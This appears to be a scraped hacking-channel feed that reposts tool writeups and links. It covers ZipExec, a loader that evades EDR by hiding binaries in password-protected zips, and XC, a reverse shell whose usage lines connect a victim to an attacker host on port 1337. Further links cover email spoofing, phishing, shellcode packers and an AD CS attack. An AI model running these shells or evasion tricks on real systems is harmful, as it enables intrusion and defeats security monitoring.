Kali Linux Tutorials
ZipExec : A Unique Technique To Execute Binaries From A Password Protected Zip

ZipExec is a Proof-of-Concept (POC) tool to wrap binary-based tools into a password-protected zip file. This zip file is then base64 encoded into a string that is rebuilt on disk. This encoded string is then loaded into a JScript file that when executed, would rebuild the password-protected zip file on disk and execute it. This is done programmatically by using COM objects to access the GUI-based functions in Windows via the generated JScript loader, executing the loader inside the password-protected zip without having to unzip it first. By password protecting the zip file, it protects the binary from EDRs and disk-based or anti-malware scanning mechanisms.

Installation

The first step as always is to clone the repo. Before you compile ZipExec you’ll need to install the dependencies. To install them, run following commands:

go get github.com/yeka/zip

Then build it

go build ZipExec.go

or

go get github.com/Tylous/ZipExec

Help

./ZipExec -h
_.
____ /||_ / _ _
/ / | _ | )\ \/ // _/ \ / / | | |> > > <\/\ __
/ |_| / //_ \__ >___ >
\/ |__| \/ \/ \/ \/
(@Tyl0us)
Usage of ./ZipExec:
-I string
Path to the file containing binary to zip.
-O string
Name of output file (e.g. loader.js)
-sandbox
Enables sandbox evasion using IsDomainedJoined.
Download

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
XC : A Small Reverse Shell For Linux And Windows

XC is a Netcat like reverse shell for Linux & Windows.

Features

Windows

Usage:
└ Shared Commands: !exit
!upload

* uploads a file to the target
!download
* downloads a file from the target
!lfwd
* local portforwarding (like ssh -L)
!rfwd
* remote portforwarding (like ssh -R)
!lsfwd
* lists active forwards
!rmfwd
* removes forward by index
!plugins
* lists available plugins
!plugin
* execute a plugin
!spawn
* spawns another client on the specified port
!shell
* runs /bin/sh
!runas
* restart xc with the specified user
!met
* connects to a x64/meterpreter/reverse_tcp listener └ OS Specific Commands: !powershell
* starts powershell with AMSI Bypass
!rc
* connects to a local bind shell and restarts this client over it
!runasps
* restart xc with the specified user using powershell
!vulns
* checks for common vulnerabilities
*
Linux

Usage:
└ Shared Commands: !exit
!upload

* uploads a file to the target
!download
* downloads a file from the target
!lfwd
* local portforwarding (like ssh -L)
!rfwd
* remote portforwarding (like ssh -R)
!lsfwd
* lists active forwards
!rmfwd
* removes forward by index
!plugins
* lists available plugins
!plugin
* execute a plugin
!spawn
* spawns another client on the specified port
!shell
* runs /bin/sh
!runas
* restart xc with the specified user
!met
* connects to a x64/meterpreter/reverse_tcp listener
└ OS Specific Commands:
!ssh
* starts sshd with the configured keys on the specified port
*

Examples

* Linux Attacker: rlwrap xc -l -p 1337(Server)
* WindowsVictim : xc.exe 10.10.14.4 1337(Client)
* Argumentless: xc_10.10.14.4_1337.exe(Client)

Setup

Make sure you are running golang version 1.15+, older versions will not compile. I tested it on ubuntu: go version go1.16.2 linux/amd64and kali go version go1.15.9 linux/amd64

git clone –recurse-submodules https://github.com/xct/xc.git
GO111MODULE=off go get golang.org/x/sys/…
GO111MODULE=off go get golang.org/x/text/encoding/unicode
GO111MODULE=off go get github.com/hashicorp/yamux
sudo apt-get install rlwrap upx

Linux

python3 build.py
Download

___________________________
@hacking_Attack
@Hacking_Video

How to spoof e-mails. (DMARC, SPF, and Phishing)
https://popalltheshells.medium.com/how-to-spoof-e-mails-dmarc-spf-and-phishing-5184c10679a0?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Note: sanitization of these screenshots was performed to protect the identities of stakeholders involved.Continue reading on Medium » (https://popalltheshells.medium.com/how-to-spoof-e-mails-dmarc-spf-and-phishing-5184c10679a0?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Evolved phishing: Device registration trick adds to phishers’ toolbox for victims without MFA
https://www.reddit.com/r/redteamsec/comments/sdbez1/evolved_phishing_device_registration_trick_adds/

submitted by /u/SCI_Rusher (https://www.reddit.com/user/SCI_Rusher)
[link] (https://aka.ms/EvolvedPhishing) [comments] (https://www.reddit.com/r/redteamsec/comments/sdbez1/evolved_phishing_device_registration_trick_adds/)

___________________________
@hacking_Attack
@Hacking_Video

chvancooten/NimPackt-v1: Nim-based assembly packer and shellcode loader for opsec & profit
https://www.reddit.com/r/redteamsec/comments/sdbiys/chvancootennimpacktv1_nimbased_assembly_packer/

submitted by /u/dmchell (https://www.reddit.com/user/dmchell)
[link] (https://github.com/chvancooten/NimPackt-v1) [comments] (https://www.reddit.com/r/redteamsec/comments/sdbiys/chvancootennimpacktv1_nimbased_assembly_packer/)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Anonymous posts pro-Taiwanese slogans on UN agency website, while calling for the creation of a "neutral grouping" of countries "wedged between NATO and Russia" in attempt to defuse the tension. They embedded a video in the end that introduces an MIT experimental antiviral drug

https://external-preview.redd.it/B8yg3ZEPrLMM_oHCWVWOwNsd9MmBJ4CNgWW93S3E-SM.jpg?width=320&crop=smart&auto=webp&s=e0ab450e10cc7895e3c0f355664b4a02ddccea63 submitted by /u/socookre
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Insta360 cameras share users photos - and can be rooted - via wifi

https://b.thumbs.redditmedia.com/ab8W1TLaSa8euReYVBiEkk7bLl9GsN8PAfw0tzyg6WY.jpg submitted by /u/cmdr_sidhartagautama
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Local Privilege Escalation in polkit's pkexec (CVE-2021-4034)

submitted by /u/donutloop
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
N.Korean internet downed by suspected cyber attacks -researchers

SEOUL (Reuters) - North Korea's internet appears to have been hit by a second wave of outages in as many weeks, possibly caused by a distributed denial-of-service (DDoS) attack, researchers said on Wednesday.

https://www.msn.com/en-gb/news/world/nkorean-internet-downed-by-suspected-cyber-attacks-researchers/ar-AAT9Xo5?ocid=uxbndlbing

submitted by /u/sortasimplesecurity
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How I hacked a hardware crypto wallet and recovered $2 million

https://external-preview.redd.it/7XuSeJe6uIUQfD6BpYJYNVO0_7uTyUOclhe6Jk6BOZw.jpg?width=320&crop=smart&auto=webp&s=f838e047f389fc29c93ab3918d688a56de91e1f9 submitted by /u/Kr0x0n
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Why It's Time to Rethink Incident Response

The incident response landscape has changed drastically, largely from shifting attitudes among insurance companies and, to some extent, business customers feeling the pain of security incidents.

Dark Reading: Attacks/Breaches
VPNLab.net Shuttered in Latest Spate of Global Takedowns

Europol and 10 nations seized servers and disconnected the anonymous network allegedly used by many cybercriminals in the latest effort to hobble cybercrime groups.

Dark Reading: Attacks/Breaches
Cybersecurity Is Broken: How We Got Here & How to Start Fixing It

It's not just your imagination — malicious threats have exponentially increased organizational risk.

AD CS: weaponizing the ESC7 attack - BlackArrow
https://www.reddit.com/r/redteamsec/comments/sddzpi/ad_cs_weaponizing_the_esc7_attack_blackarrow/

submitted by /u/gid0rah (https://www.reddit.com/user/gid0rah)
[link] (https://www.blackarrow.net/adcs-weaponizing-esc7-attack/) [comments] (https://www.reddit.com/r/redteamsec/comments/sddzpi/ad_cs_weaponizing_the_esc7_attack_blackarrow/)

___________________________
@hacking_Attack
@Hacking_Video